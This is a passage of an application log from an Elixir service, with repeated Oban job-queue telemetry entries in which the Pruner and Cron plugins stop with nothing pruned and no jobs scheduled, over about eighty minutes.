{"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:31.725 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.786 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:01.727 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:31.729 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.787 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:01.731 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:31.733 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.789 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:01.735 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:31.737 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.791 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:01.739 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:31.741 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.791 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:01.743 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:31.746 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.793 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:01.748 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:31.750 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.794 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:01.752 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:31.754 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.795 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:01.756 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:31.759 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.797 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:01.761 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:31.763 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.798 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:01.766 [info] {"source":"oban","duration":2186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:31.768 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.798 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:01.770 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:31.773 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.799 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:01.774 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:31.775 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.801 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:01.778 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:31.780 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.801 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:01.782 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:31.784 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.802 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:01.787 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:31.789 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.804 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:01.791 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:31.793 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.806 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:01.795 [info] {"source":"oban","duration":1952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:31.797 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.808 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:01.799 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:31.802 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.810 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:01.805 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:31.808 [info] {"source":"oban","duration":1974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.811 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:01.811 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:31.814 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.813 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:01.816 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:31.818 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.815 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:01.821 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:31.823 [info] {"source":"oban","duration":2175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.817 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:01.826 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:31.828 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.818 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:01.831 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:31.834 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.819 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:01.837 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:31.840 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.821 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:01.843 [info] {"source":"oban","duration":2238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:31.845 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.823 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:01.848 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:31.850 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.824 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:01.853 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:31.855 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.825 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:01.858 [info] {"source":"oban","duration":2024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:31.861 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.826 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:01.863 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:31.866 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.827 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:01.869 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:31.872 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.828 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:01.875 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:31.877 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.829 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:01.880 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:31.883 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.831 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:01.886 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:31.889 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.833 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:01.892 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:31.895 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.835 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:01.898 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:31.901 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.837 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:01.904 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:31.906 [info] {"source":"oban","duration":1781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.839 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:01.909 [info] {"source":"oban","duration":1980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:31.912 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.841 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:01.915 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:31.918 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.841 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:01.921 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:31.923 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.843 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:01.926 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:31.929 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.845 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:01.932 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:31.935 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.847 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:01.938 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:31.939 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.849 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:01.942 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:31.945 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.851 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:01.947 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:31.949 [info] {"source":"oban","duration":1963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.852 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:01.952 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:31.955 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.854 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:01.958 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:31.960 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.855 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:01.963 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:31.965 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.856 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:01.966 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:31.969 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.857 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:01.971 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:31.974 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.859 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:01.977 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:31.980 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.861 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:01.983 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:31.986 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.863 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:01.989 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:31.992 [info] {"source":"oban","duration":1918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.865 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:01.995 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:31.998 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.866 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:02.001 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:32.004 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.868 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:02.007 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:32.010 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.870 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:02.013 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:32.015 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.871 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:02.018 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:32.022 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.872 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:02.025 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:32.028 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.874 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:02.031 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:32.033 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.876 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:02.036 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:32.039 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.878 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:02.041 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:32.044 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.879 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:02.047 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:32.050 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.881 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:02.053 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:32.056 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.882 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:02.059 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:32.062 [info] {"source":"oban","duration":1811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.884 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:02.065 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:32.068 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.886 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:02.071 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:32.073 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.888 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:02.076 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:32.078 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.890 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:02.081 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:32.083 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.892 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:02.085 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:32.088 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.893 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:02.091 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:32.094 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.895 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:02.097 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:32.100 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.896 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:02.103 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:32.105 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.898 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:02.106 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:32.109 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.898 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:02.111 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:32.114 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.900 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:02.117 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:32.120 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.901 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:02.122 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:32.125 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.903 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:02.128 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:32.130 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.904 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:02.132 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:32.135 [info] 